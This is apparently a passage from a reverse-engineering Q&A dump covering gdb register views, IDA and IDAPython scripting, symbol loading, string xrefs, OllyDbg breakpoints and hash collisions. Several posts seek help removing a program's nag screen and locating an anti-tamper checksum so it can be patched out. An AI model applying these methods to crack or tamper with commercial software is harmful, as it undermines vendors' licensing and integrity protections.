(gdb) p $v0\n$2 = {\n  d = {\n    f = {[0] = 8.0000018998980522, [1] = 1024.0002455711365}, \n    u = {[0] = 4620693218751676416, [1] = 4652218416153755648}, \n    s = {[0] = 4620693218751676416, [1] = 4652218416153755648}\n  }, \n  s = {\n    f = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}, \n    u = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}, \n    s = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}\n  }, \n  h = {\n    u = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528}, \n    s = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528}\n  }, \n  b = {\n    u = {[0] = 0, [1] = 0, [2] = 192, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = 144, [15] = 64}, \n    s = {[0] = 0, [1] = 0, [2] = -64, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = -112, [15] = 64}\n  }, \n  q = {\n    u = {[0] = 85818282497786728556221825347259203584}, \n    s = {[0] = 85818282497786728556221825347259203584}\n  }\n}\n
\n\n

and:

\n\n
(gdb) p $v0.s\n$3 = {\n  f = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}, \n  u = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}, \n  s = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}\n}\n
\n\n

and:

\n\n
(gdb) p $v0.s.f\n$3 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}\n
\n\n

Test setup.

\n\n

ARMv7

\n\n
(gdb) p $q0\n$3 = {\n  u8 = {[0] = 0, [1] = 0, [2] = 192, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = 144, [15] = 64}, \n  u16 = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528}, \n  u32 = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}, \n  u64 = {[0] = 4620693218751676416, [1] = 4652218416153755648}, \n  f32 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}, \n  f64 = {[0] = 8.0000018998980522, [1] = 1024.0002455711365}\n}\n
\n\n

and:

\n\n
(gdb) p $q0.f32\n$5 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}\n
\n\n

Test setup.

\n\n

Bug

\n\n

The bug I mentioned earlier, leads in ARMv8 to:

\n\n
(gdb) i r v0\nv0             {\n  d = {\n    f = {[0x0] = 0x8, [0x1] = 0x400}, \n    u = {[0x0] = 0x402000003fc00000, [0x1] = 0x4090000040600000}, \n    s = {[0x0] = 0x402000003fc00000, [0x1] = 0x4090000040600000}\n  }, \n  s = {\n    f = {[0x0] = 0x1, [0x1] = 0x2, [0x2] = 0x3, [0x3] = 0x4}, \n    u = {[0x0] = 0x3fc00000, [0x1] = 0x40200000, [0x2] = 0x40600000, [0x3] = 0x40900000}, \n    s = {[0x0] = 0x3fc00000, [0x1] = 0x40200000, [0x2] = 0x40600000, [0x3] = 0x40900000}\n  }, \n  h = {\n    u = {[0x0] = 0x0, [0x1] = 0x3fc0, [0x2] = 0x0, [0x3] = 0x4020, [0x4] = 0x0, [0x5] = 0x4060, [0x6] = 0x0, [0x7] = 0x4090}, \n    s = {[0x0] = 0x0, [0x1] = 0x3fc0, [0x2] = 0x0, [0x3] = 0x4020, [0x4] = 0x0, [0x5] = 0x4060, [0x6] = 0x0, [0x7] = 0x4090}\n  }, \n  b = {\n    u = {[0x0] = 0x0, [0x1] = 0x0, [0x2] = 0xc0, [0x3] = 0x3f, [0x4] = 0x0, [0x5] = 0x0, [0x6] = 0x20, [0x7] = 0x40, [0x8] = 0x0, [0x9] = 0x0, [0xa] = 0x60, [0xb] = 0x40, [0xc] = 0x0, [0xd] = 0x0, [0xe] = 0x90, [0xf] = 0x40}, \n    s = {[0x0] = 0x0, [0x1] = 0x0, [0x2] = 0xc0, [0x3] = 0x3f, [0x4] = 0x0, [0x5] = 0x0, [0x6] = 0x20, [0x7] = 0x40, [0x8] = 0x0, [0x9] = 0x0, [0xa] = 0x60, [0xb] = 0x40, [0xc] = 0x0, [0xd] = 0x0, [0xe] = 0x90, [0xf] = 0x40}\n  }, \n  q = {\n    u = {[0x0] = 0x4090000040600000402000003fc00000}, \n    s = {[0x0] = 0x4090000040600000402000003fc00000}\n  }\n}\n
\n\n

So note how the v0.s.f line has rounded down integers instead of floats:

\n\n
  s = {\n    f = {[0x0] = 0x1, [0x1] = 0x2, [0x2] = 0x3, [0x3] = 0x4},\n
\n\n

SVE

\n\n

Not yet implemented on QEMU, see: https://stackoverflow.com/questions/52888916/how-to-assemble-arm-sve-instructions-with-gnu-gas-or-llvm-and-run-it-on-qemu/52888917#52888917

\n" }, { "Id": "8994", "CreationDate": "2015-05-26T14:35:27.927", "Body": "

When performing division on ARM, this is the code snippet that I encountered.

\n\n
   0x83d8 <main+12>:    mov r3, #10\n   0x83dc <main+16>:    str r3, [r11, #-8]\n   0x83e0 <main+20>:    ldr r3, [r11, #-8]\n=> 0x83e4 <main+24>:    ldr r2, [pc, #40]   ;; 0x8414 <main+72>\n   0x83e8 <main+28>:    smull   r1, r2, r2, r3\n   0x83ec <main+32>:    asr r3, r3, #31\n   0x83f0 <main+36>:    rsb r3, r3, r2\n   0x83f4 <main+40>:    str r3, [r11, #-8]\n
\n\n

In the original program, I store the value 10 to a variable, divide it by 3 and store it in the same variable.

\n\n

[r11, #-8] in the above example has the value 0xa. After 0x83e4, r2 is loaded up as 0x55555556. My doubts are as follows :-

\n\n
    \n
  1. Is this a common way of performing division without the div instruction?
    2. \n
  2. What are the other ways you have encountered in which division is performed without using an instruction that performs division?
    3. \n
\n", "Title": "Division on ARM", "Tags": "|arm|", "Answer": "

Optimizing compilers will typically use the method above for compiling division by a constant.

\n

You can read more about it at the following links:

\n\n" }, { "Id": "8999", "CreationDate": "2015-05-27T11:53:11.680", "Body": "

I have a program which converts file to blob in sqlite database. It uses QT framework. I can normally save the file from the database but only through its GUI (which is really painful).\nI want to be able to decode the blob in sqlite to the original file.\nI have attached the original and encoded file here link\n(click download button)\nIt is likely using qtarray and qstring but I am not sure. It seems also that the header is removed while encoding.\nI would really appreciate your help.

\n", "Title": "decoding blob into original file", "Tags": "|decryption|", "Answer": "

The blob file is compressed with zlib, so you have to decompress it first. The first 4 bytes of the blob is the decompressed size and the compressed content start at 6th byte.

\nAfter the decompression you got binary file starting with 0xDEADBEAF (in big-endian, marked as yellow in the figure). After it you can find some header parameters, one of the 0x22 (marked as green) is the number of rows.

\nAfter the header you can find the row data as 32-bit float (see float conversion here):

\n\n
6 = 06\n0.756431 = 0x3f41a578\n-1.494892 = 0xbfbf589f\n
\n\n

\"Decompressed

\n" }, { "Id": "9005", "CreationDate": "2015-05-27T17:50:30.937", "Body": "

Some instructions in a binary do not belong to a function, or, IDA does not manage to recover one. See for example the red addresses in the below screen shot.

\n\n

Yet, one can right-click such 'function-less' addresses and selct Create function from the menu (see below screenshot).

\n\n

Are there any side effects of creating a function from 'function-less' instructions? For example, does it change instructions, symbols, variables, etc.? Does it change IDA-generated xrefs and thus has an effects on a static control flow analysis?

\n\n

I am asking because I have to work with an algorithm that can only process instructions which belongs to a function. My idea was to go through the binary and keep creating functions until all 'function-less' instructions belong to a function.

\n\n

Do you see any possible disadvantages of this approach?

\n\n

\"enter

\n", "Title": "IDA Pro: Side effects or disadvantages of \"Create function\"", "Tags": "|ida|disassembly|idapython|static-analysis|", "Answer": "

There is another point that might be problematic.\nSometimes on some platforms IDA does not recognize code areas correctly and defines data as a code in complicated functions or complicated code at all. Defining this code as a function may insert it to auto-analysis queue and all incorrectly defined references from this mistakenly recognized code may break another functions. This problem also occurs when working with obfuscated code.

\n\n

Unfortunately as @Guntram Blohm said, the functions that called indirectly might be not recognized as such, so the solution for this problem is still needed. I'd suggest a bit better algorithm for creating such functions:\nDon't convert each instruction to function automatically.\nFind all function prologues instead (for example something like 2 pushes in the functions on your picture), and try to create a function where you can recognize this prologue only.

\n\n

It can be done with IDAPython by using function idc.MakeFunction(prologue_address) without second parameter. In such case IDA will try to define function borders automatically.

\n" }, { "Id": "9006", "CreationDate": "2015-05-27T18:21:38.267", "Body": "

I know Immdbg already recognizes Windows internals function names, like kernel32.dll and user32.dll

\n\n

What I want is to load Internet Explorer symbols the same way WinDbg does. Does someone knows it is possible, like mshtml.dll?

\n\n

\"enter

\n", "Title": "Load IE symbols in Immunity Debugger", "Tags": "|immunity-debugger|debugging-symbols|", "Answer": "

Immunity Debugger 1.60 and above supports loading of PDB Symbol files both locally or from a symbol server. In order to enable it.

\n\n
    \n
  1. Go to Debug menu -> Debugging Symbol Options.
    2. \n
\n\n

\"enter

\n\n
    \n
  1. Provide the local path to the symbol files or to a symbol server.
    2. \n
\n\n

\"enter

\n\n
\n\n

UPDATE

\n\n

If ImmDbg successfully loaded the pdb symbol for the specified file, you would get a message in the logs in the form Debugging Information (DIA Format) available below the dll loading event. See the image below for reference.

\n\n

\"enter

\n\n

If even after all this, you cannot load the appropriate symbol for a file, then

\n\n
    \n
  1. You may have misconfigured the symbol path.
    2. \n
  2. In case of local symbol, the PDB file present on the system does not match with the PE.
    3. \n
  3. In case of symbol server, appropriate PDB file could not be found.
    4. \n
\n\n

In such a case you can run the symcheck tool provided with windbg. Example usage

\n\n
C:\\Program Files\\Debugging Tools for Windows (x86)>symchk C:\\WINDOWS\\system32\\kernel32.dll /s C:\\WINDOWS\\Symbols\n\nSYMCHK: FAILED files = 0\nSYMCHK: PASSED + IGNORED files = 1\n\nC:\\Program Files\\Debugging Tools for Windows (x86)>symchk C:\\WINDOWS\\system32\\mshtml.dll /s C:\\WINDOWS\\Symbols\nSYMCHK: mshtml.dll           FAILED  - mshtml.pdb mismatched or not found\n\nSYMCHK: FAILED files = 1\nSYMCHK: PASSED + IGNORED files = 0\n
\n\n
\n\n

UPDATE 2

\n\n

Screenshot of Immunity Debugger with symbols for mshtml.dll loaded. This is taken from Windows XP SP3.

\n\n

\"enter

\n\n

Other Info: ImmDbg could not download symbols from the MS Symbol Server, so had to use the symcheck tool to download symbol for mshtml.dll .

\n\n
symchk /r c:\\windows\\system32\\mshtml.dll /s SRV*c:\\symbols\\*http://msdl.microsoft.com/download/symbols \n
\n\n

The symbol directory should look like this.

\n\n
C:\\symbols>dir\n Volume in drive C has no label.\n Volume Serial Number is 042A-A7E6\n\n Directory of C:\\symbols\n\n06/05/2015  12:39 PM    <DIR>          .\n06/05/2015  12:39 PM    <DIR>          ..\n04/15/2008  09:21 AM         7,965,696 mshtml.pdb\n06/05/2015  11:17 AM                 0 pingme.txt\n
\n\n

Next, pointed ImmDbg to C:\\symbols\\. Used loaddll to load mshtml.dll and it automatically picked up the symbol on loading. This can also be seen in the logs.

\n\n

\"enter

\n" }, { "Id": "9007", "CreationDate": "2015-05-27T19:10:11.633", "Body": "

I would like to remove a nag screen from a popular program. To do this I need to make sure the screen never gets called. So, the first task is to find the actual location of the nag (where it is called from). None of the strings in the nag screen seemed to show up in Ollydbg's string search. The only thing I managed to find on my own was the window of the nag in OllyDBG's window references, but I'm not sure if it was very useful.

\n\n

What methods are commonly used to find the call locations of nag screens? If you guys set me on the right path, I'm sure I can figure out the rest on my own. :)

\n\n

Some extra info: the program seems to have been developed in .Net, the title of the nag showed up in the window reference list of OllyDBG but I couldn't find it in the string search.

\n\n

Second edit: I don't think it's .net. I tried doing \u00b4tasklist /m \"mscor*\"\u00b4, but it didn't show up (which it probably should have, if it's .net)

\n", "Title": "Methods of discovering the location of nag/pop-up screens besides string search?", "Tags": "|ollydbg|.net|", "Answer": "

EDIT: The OP updated his question yesterday to say that he's dealing with a .NET application, so the advice below no longer applies. I'll leave this answer here though since it might help others for Win32 applications.

\n\n

Try setting breakpoints on API functions that might be used to create the nag screen.

\n\n

For example, (from http://www.woodmann.com/krobar/beginner/p03_8.html):

\n\n\n" }, { "Id": "9016", "CreationDate": "2015-05-29T09:12:29.940", "Body": "

Is there a way to specify the name of a function when creating it with idc.MakeFunction()?

\n\n

If not, what is the best practice to rename a function?\nI found idc.GetFunctionName(ea) but no counterpart to set a name. A google research turned up some examples where people used idc.MakeNameEx(). Yet, the purpose of MakeNameExseems to be to rename addresses:

\n\n
def MakeNameEx(ea, name, flags): \"\"\" Rename an address\n\n@param ea: linear address\n@param name: new name of address. If name == \"\", then delete old name @param\nflags: combination of SN_... constants\n
\n\n

And involves a whole bunch of flags such as:

\n\n
[...]\nSN_NOCHECK    = idaapi.SN_NOCHECK    # Replace invalid chars with SubstChar\nSN_PUBLIC     = idaapi.SN_PUBLIC     # if set, make name public \nSN_NON_PUBLIC = idaapi.SN_NON_PUBLIC # if set, make name non-public \nSN_WEAK       = idaapi.SN_WEAK       # if set, make name weak \nSN_NON_WEAK   = idaapi.SN_NON_WEAK   # if set, make name non-weak\n[...]\n
\n\n

What I need is a simple rename of a function keeping all its properties, flags etc...

\n", "Title": "Setting name of (newly created) functions via IDAPython", "Tags": "|ida|idapython|", "Answer": "

idc.MakeName(ea, name) should suffice.

\n\n

Note that the flags accepted by MakeNameEx() don't change the function's properties or function's flags; they're instead used with regard to how the naming itself is handled.

\n" }, { "Id": "9023", "CreationDate": "2015-05-29T22:11:40.800", "Body": "

I have an dll that is loaded into a 64 bit process, it performs two check sums (at least) one to keep up to date (it receives a 13 character long string from the net which I'm fairly certain is an in house hash as it never changes and doesn't seem to corespond to any hash pattern I can think of 11 numbers 2 uppercase letters at the end) and the other to defeat people trying to patch/analyze behaviour of different execution paths, it will refuse to run if it's checksum is different than the expected one. I tested this by hex editing a string the program uses which resulted in the dll never running, patching it during runtime with a memory editor did work.\nI guess the real question is how would I go about identifying where the checksumming happens, what are the common imports I should be hunting using IDA etc.

\n", "Title": "finding a checksum function using static analysis (IDA)", "Tags": "|ida|static-analysis|dll|", "Answer": "

It really depends on the program. You mentioned that it receives a saved checksum from the net and checks it against the computed value - one way you could do this is to look for recv() calls (or whatever function they use to handle incoming packets).

\n\n

I will say that it would probably be much quicker to do this dynamically rather than statically. If you set a breakpoint on the packet handling function, you should be able to find where the check is occurring relatively easily (it should occur very soon after the 13 byte string is received). From there, you can work backwards and see where the computed value came from - if it's a pointer to the value, you can set a memory access breakpoint and run it again; if it's just the value, you can see how it was pushed onto the stack/accessed.

\n\n

If you're dead set on doing it statically, good luck. Because it doesn't change from run to run, it's probably some kind of binary operation on the program - either a CRC or weak hash would be my guess.

\n" }, { "Id": "9033", "CreationDate": "2015-05-31T03:06:51.773", "Body": "

when I disassemble an OpenCV dynamic library file (libopencv_imgproc.so), I find that there are a lot of bl instructions which target address are in the .plt section. But, I could'n find its symbol info.

\n\n
00110ee0 <cvResize>:\n  110ee0:   b5f0        push    {r4, r5, r6, r7, lr}\n  110ee2:   4603        mov r3, r0\n  110ee4:   b0bf        sub sp, #252    ; 0xfc\n  ...\n  110ef4:   4ca8        ldr r4, [pc, #672]  ; (111198 <cvResize+0x2b8>)\n  110ef6:   9500        str r5, [sp, #0]\n  110ef8:   f70e ebda   blx 1f6b0 <_init+0x2b4>\n  ...\n
\n\n

I could not find the address 1f6b0 in the .text section. It actually is in the .plt section. However, I couldn't find it in the symbol table.\nHow can I get these missed symbol info?

\n", "Title": "How to recognize the function call in a dynamic lib?", "Tags": "|arm|dynamic-linking|", "Answer": "

Doing it the hard way:

\n\n
    \n

  1. disassemble the target PLT stub and figure out what pointer it's using. E.g.:

    \n\n
    359dc:  e28fc601    add ip, pc, #1048576    ; 0x100000\n359e0:  e28ccaa2    add ip, ip, #663552 ; 0xa2000\n359e4:  e5bcf900    ldr pc, [ip, #2304]!    ; 0x900\n
    \n\n

    Here, the ip will be: 0x359e4+0x100000+0xa2000 = 0x1D79E4, so the last LDR will dereference 1D79E4+0x900 = 0x1D82E4.

    2. \n

  2. look up the address in the list of relocs (objdump -dr):

    \n\n
    001d82e4  00005216 R_ARM_JUMP_SLOT   00000000   _ZN2cv10cvarrToMatEPKv\n
    3. \n
\n\n

Doing it the easy way:

\n\n
    \n

  1. Just use IDA :), or at least a newer objdump which knows about PLT stubs.

    \n\n
    000359dc <_ZN2cv10cvarrToMatEPKvbbi@plt>:\n
    2. \n
\n\n

Please note that objdump relies on the fact that the order of PLT stubs usually matches the order of relocations in the PLT reloc list. In theory, one can patch a PLT stub after linking so it uses another symbol's pointer.

\n" }, { "Id": "9034", "CreationDate": "2015-05-31T11:08:47.167", "Body": "

I'm trying to make a search request with NetEase Cloud Music's API. I have found the URL used for sending a search request over POST which is: http://music.163.com/api/search/get/web with x-www-form-urlencoded data: hlpretag=%3Cspan+class%3D%22s-fc56%22%3E&hlposttag=%3C%2Fspan%3E&s=ruslana&type=1&offset=0&total=false&limit=10.

\n

Sending this request over produces a result like so:

\n
{"result":"35b1748964afb6f6ab00803a07621642b1748964af8a7c1d883e3a6f3c773b3d42235da0ba9784a095beda502ab3e8b43fa71f6d6351854d2abf366ed520854009da31982d912f2f7dd26d69e2de683db1f5a185c8d2e83989d1c4b2c230a8669602ea79ebf70989a5b17264db4dabc8072d65deb133001e1236fd8bb37f850490980a4ed65fb639d5629556eff966c2b187d161ba859c63af417aaa447121564e8a4221525d5f0ac885a70ead44a613a07451cddfed5557af6572390e346375e6a91379f94b8530d942573735179b7bdadd3738e4e298e853ded86951b36d7e68ae593ebc6cad73d4e694d2c8debe3e162f84051dda75f10ff58521eb5d5bbf788a1603da61ded1d0b319e80d4bc73218e93665dd8559e420cdd7a0e74d443cd53b8dc20af99a89b3c14e64d9f9aadfc9cbb0b09db8c150e3ea793a1705fb710806ec39f24283c08489169c97527bafb59baed5215f769c55968829b222b3d320b11aab298da17104ddde48d9a77937a6ff100d5e12928d8917810338a51ebf2ef18c879c10a5b2d9c8f29d7524e70265d96ec9016be793f2bbbe55ec7994bb156a6baeda5c4884e6931731d8e6c0124ab298b518977c54c77cbb0eb601db25807ed2ac0d2eff3852427acd83ba0b38dda735b221467975b957074766912e6ea2b2791020bc4305489df1bb9880b47396d1716d01cff904ce4de0d20a4924e6ff220412dbe8305056463c35f7d22dafa3badffded51ee81b6045f5179f59166ec7f4115ecb5f9bb95e92c870a7f7045f1e7765bed3dbf62a09e963279a8ecb2316e39e2540bbe640b20a29a3098f5918aec7572f49ebcca1a3ae96b31927c2274d39ce6b26dd50d0431666a48649c37764010dc48156980022668fd2cec7b855e3a570464a077ffd1005553fd213111a98c2cb20ce50c59c350695b6c93519fd58ee0464e3ae5744873f1de490b0d6f308d6b05cbe59501028a8c8bd6f9a72d1ea6eae2b3ff4a451dc8413d25d611620f3a40b51019a36c2d2674a610bb2cfd2097c1ff3a91ee3b0b6262102dafc72dfd48ab398dea09e3a5d98c952c6674df981017954d222df1cf422403f032cd441f690be826593a50dbac35cb10b555f440e244b1e84e312f9fc0a4b8f5817a916fa4cb65487a12a4558d1adfa01017c6af5f16e2f9eded9c6bab1f62627fa3b3a313a89eeda80f7f4c408542d14ab3d333c0f915d552aedef29595e692dde790dd3b59de48434ff0d86ea13704fbc6f1c8720e82ee2a319d3b779989337239a8","code":200,"abroad":true}\n
\n

I have cut off most of result due to it being colossal. What is the data in result and how is it encoded? Looking through other peoples efforts turns up nothing to contribute either. On this Github project I've found there's a function for searches, it doesn't seem to do anything significant to the returned data:

\n
 def search(self, s, stype=1, offset=0, total='true', limit=60):\n        action = 'http://music.163.com/api/search/get/web' \n        print self.cookies\n        data = {\n            's': s,\n            'type': stype,\n            'offset': offset,\n            'total': total,\n            'limit': 60,\n            '__csrf': self.cookies['__csrf'],\n        }\n        return self.httpRequest('POST', action, data)\n
\n

And when you look on the NetEase website itself and look at the API calls after a search, theres nothing, so its not like theres an extra API call involved in getting all the search data either.

\n

Any input on this would be greatly appreciated.

\n", "Title": "NetEase Cloud Music: Getting search results in API", "Tags": "|websites|api|", "Answer": "

The answer is embarrassingly simple. Simply remove the /web part of the URL so you end up with something like this: http://music.163.com/api/search/get/ and you're good to go.

\n" }, { "Id": "9035", "CreationDate": "2015-05-31T13:38:17.290", "Body": "

I'm trying to disassemble an application (built from a Chinese company in English).

\n\n

I find the text string I want:

\n\n
.data:0041048C aEraseError     db 'Erase error !',0Ah,0 ; DATA XREF:\n.rdata:0040C624o\n.data:0041048C                                         ; .rdata:0040CF28o ...\n
\n\n

But, I cannot locate it in the code anywhere. It's strange some text strings are found but others are not.

\n\n

FYI: The application also loads a custom .dll file. The text is located in the main exe file's .rdata segment, but I just cannot see it in the code. I've tried with other disassemblers but I am using IDA.

\n", "Title": "I cannot find a text string referened in the the .rdata", "Tags": "|ida|", "Answer": "

Your string seems to have an xref (cross reference, see below) from 0040C624. This string might just be an entry in an array of error strings, with the array itself beginning just a little before 0040C624. Your original source code may have looked like this:

\n\n
char *unused=\"unused string\";\nchar *errors[] = {\n    \"error 0\",\n    \"some other error\",\n    \"yet another error\",\n    \"Erase error!\",\n    \"....\",\n};\n\nvoid print_error_message(int index) {\n    puts(errors[index]);\n}\n\nint handle_erase_error() {\n    print_error_message(3);\n}\n
\n\n

If you compile this (i used gnu C on linux, gcc -m32 xref.c) and load the object code into IDA, it becomes (irrelevant parts omitted):

\n\n
.text:08000000 print_error_message proc near           ; CODE XREF: handle_erase_error+Dp\n.text:08000000                 push    ebp\n.text:08000001                 mov     ebp, esp\n.text:08000003                 sub     esp, 18h\n.text:08000006                 mov     eax, [ebp+8]\n.text:08000009                 mov     eax, errors[eax*4]\n.text:08000010                 mov     [esp], eax      ; s\n.text:08000013                 call    puts\n.text:08000018                 leave\n.text:08000019                 retn\n.text:08000019 print_error_message endp\n\n\n.data:08000030 unused          dd offset aUnusedString ; \"unused string\"\n.data:08000034 errors          dd offset aError0       ; DATA XREF: print_error_message+9r\n.data:08000034                                         ; \"error 0\"\n.data:08000038                 dd offset aSomeOtherError ; \"some other error\"\n.data:0800003C                 dd offset aYetAnotherErro ; \"yet another error\"\n.data:08000040                 dd offset aEraseError   ; \"Erase error!\"\n.data:08000044                 dd offset a____         ; \"....\"\n\n.rodata:08000049 aUnusedString   db 'unused string',0    ; DATA XREF: .data:unusedo\n.rodata:08000057 aError0         db 'error 0',0          ; DATA XREF: .data:errorso\n.rodata:0800005F aSomeOtherError db 'some other error',0 ; DATA XREF: .data:08000038o\n.rodata:08000070 aYetAnotherErro db 'yet another error',0 ; DATA XREF: .data:0800003Co\n.rodata:08000082 aEraseError     db 'Erase error!',0     ; DATA XREF: .data:08000040o\n.rodata:0800008F a____           db '....',0             ; DATA XREF: .data:08000044o\n
\n\n

You see that each string has a pointer entry in the data section, and the ascii data in the rodata (read only data) section. And each of the ascii strings has an xref (cross reference) to the pointer that points to it - this is not a part of the binary; ida detects where each string is referenced, and generates the \"backreferences\", or xrefs.

\n\n

The important thing is: you can use this to find the string table (errors, at 0x08000034) if you have only the ascii bytes. And you can find where the string table itself is used by looking at its xref - from the print_error_message function. In contrast, the unused string does not have an xref, because it isn't used anywhere.

\n\n

Ida will allow you to double-click on the xref to move to where it 'comes from' to navigate easily.

\n\n

I'd check if you have an array of strings that starts a bit before the xref to your string, where it gets used, and possibly where the using function gets called.

\n\n
\n\n

Another possibility is something that i saw a few days ago in an ARM android shared library. The library had some strings holding function names, directly after each other, like this (translated to x86 syntax)

\n\n
errmsg    db 'Error in %s, file %s, line %d\\n', 0\nstrtab    db 'opencachefile', 0\n          db 'closecachefile', 0\n          db 'getcacheentry', 0\n          db 'putcacheentry', 0\n          db 'delcacheentry', 0\n
\n\n

The function that got something from cache used the third of these strings to log a possible error. The code looked like this (again, translated from arm to x86):

\n\n
...\nmov    eax, offset strtab\nadd    eax, 29           ;<-- difference in bytes between 'open' and 'get'\npush   eax\nmov    eax, offset errmsg\npush   eax\ncall   android_log_print\n
\n\n

The other functions had similar constructs, so strtab was referenced 5 times (one in each function), and the byte difference adjusted in each of them. I sincerely don't know why a compiler would do this, but just maybe something similar is going on in your code.

\n" }, { "Id": "9040", "CreationDate": "2015-06-01T14:00:03.133", "Body": "

Say given the following line in Ida Pro:

\n\n
mov     [rsp+3F8h+var_3F8], 0\n
\n\n

How can I parse and access the items inside the [ ]?\nWhat I tried:

\n\n\n\n
\n

def GetOperandValue(ea, n):\n \"\"\"
\n Get number used in the operand

\n \n

This function returns an immediate number used in the operand

\n \n

@param ea: linear address of instruction @param n: the operand number

\n \n

@return:

\n \n

value operand is an immediate value => immediate value

\n \n

operand has a displacement => displacement

\n \n

operand is a direct memory ref => memory address

\n \n

operand is a register => register number

\n \n

operand is a register phrase => phrase number

\n \n

otherwise => -1
\n \"\"\"

\n
\n\n

How can I access the elements of the 'phrase', i.e. the rsp, 3F8h, and var_3F8? I am looking for something like this:

\n\n
my_op_phrase = idc.ParseOperandPhrase(ea, n)\nmy_op_phrase[0] #-> 'rsp'\nmy_op_phrase[0].type #-> idaapi.o_reg\n\nmy_op_phrase[1] #-> 0x3F8h\nmy_op_phrase[1].type #-> idaapi.o_imm\n\nmy_op_phrase[2] #-> 'var_3F8'\n\u2026\n
\n\n

Is this even possible or am I misunderstanding something?

\n", "Title": "Ida Pro: parsing complex operand expression using IDAPython", "Tags": "|ida|disassembly|idapython|", "Answer": "

Assuming addr is the EA of mov [rsp+3F8h+var_3F8], 0:

\n\n
re.findall('\\[(.*)\\]', idc.GetDisasm(addr))[0].split('+')\n
\n\n

yields the list

\n\n
['rsp', '3F8h', 'var_3F8']\n
\n" }, { "Id": "9046", "CreationDate": "2015-06-02T10:37:33.603", "Body": "

I'm trying to remove a nag screen. Its window style is 16C80000, which should translate to WS_VISIBLE | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_CAPTION | WS_SYSMENU. So, in the call to CreateWindowExW() I set a conditional breakpoint at PUSH EAX, which determines the style.
\nThe conditions I tried were [EAX] == 16C80000 and [EAX] == WS_VISIBLE | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_CAPTION | WS_SYSMENU. Both give the same results.
\nWhat happens is that the conditional breakpoint pretty much acts as a normal breakpoint I think. I get breakpoints at Style = WS_POPUP, and many other styles which I didn't specify. What I'd like is to find out what I'm doing wrong so that I can find the call to that goddamn nag :)
\n\"Screenshot\"

\n", "Title": "False positives with conditional breakpoint in OllyDBG", "Tags": "|ollydbg|breakpoint|", "Answer": "

if you are setting a breakpoint on the specific address 0x412d18 you must make sure that the specific address will be hit ( setting a breakpoint on a specific address and expecting it to break on CreateWindowCalls is not going to work )

\n\n

to set a common breakpoint to catch all CreateWindow Calls you should set a breakpoint on system dll (user32.dll)

\n\n

you should use a stack expression for the conditional break [esp+XXX] == 0x16xxxxxx

\n\n

here is a sample on winxpsp3 mspaint.exe

\n\n
Breakpoints\nAddress    Module     Active                           Disassembly        Comment\n7E42D0A3   USER32     Log when [esp+10] == 44008200    MOV     EDI, EDI\n
\n\n

the bp is set on

\n\n
7E42D0A3 USER32.CreateWindowExW [esp+10] == 44008200 /$ 8BFF MOV EDI, EDI\n
\n\n

never pause
\nbreak on condition
\nlog always
\ncondition [esp+10] = xxxxxxxx
\nexpression [esp+10]

\n\n

\"enter

\n\n

result as follows

\n\n
Log data\nMessage\n\nCOND: style = = 88000000\n\nCOND: style = = 02CFC000\nCOND: style = = 52000000\nCOND: style = = 54000000\nCOND: style = = 5400014E\nCOND: style = = 56002800\nCOND: style = = 56008200\nCOND: style = = 56001400\nCOND: style = = 56004100\nCOND: style = = 44001430\nCOND: style = = 44008200  <------- broken and function args logged for my specific condition\nCALL to CreateWindowExW from MFC42u.5F811CB2\n  ExtStyle = 0\n  Class = \"AfxWnd42u\"\n  WindowName = \"Colors\"\n  Style = WS_CHILD|WS_CLIPSIBLINGS|8200  <------------\n  X = FFFFFEFD (-259.)\n  Y = FFFFFFCD (-51.)\n  Width = 103 (259.)\n  Height = 33 (51.)\n  hParent = 00080226 ('Paint',class='MSPaintApp')\n  hMenu = 0000E818\n  hInst = 01000000\n  lParam = NULL\n
\n" }, { "Id": "9047", "CreationDate": "2015-06-02T10:54:20.797", "Body": "

I have the following hash algorithm:

\n\n
    unsigned long specialNum=0x4E67C6A7;\n    unsigned int ch;\n    char inputVal[]=\"                        AAPB2GXG\";\n\n\n    for(int i=0;i<strlen(inputVal);i++)\n    {\n        ch=inputVal[i];\n\n        ch=ch+(specialNum*32);\n        ch=ch+(specialNum/4);\n\n        specialNum=bitXor(specialNum,ch);\n    }\n\n    int outputVal=specialNum;\n
\n\n

The bitXor simply does the Xor operation:

\n\n
int bitXor(int a,int b)\n{\n    return (a & ~b) | (~a & b);\n}\n
\n\n

Now I want to find an Algorithm that can generate an \"inputVal\" when the outputVal is given.(The generated inputVal may not be necessarily be same as the original inputVal.That's why I want to find collision).\nThis means that I need to find an algorithm that generates a solution that when fed into the above algorithm results same as specified \"outputVal\".\nThe length of solution to be generated should be less than or equal to 32.

\n", "Title": "How do I find a collision for a simple hash algorithm", "Tags": "|c++|c|static-analysis|patch-reversing|hash-functions|", "Answer": "

A Lame brute forcer with an arbitrary seed value using the code you provided finds a few collisions under an hour

\n\n
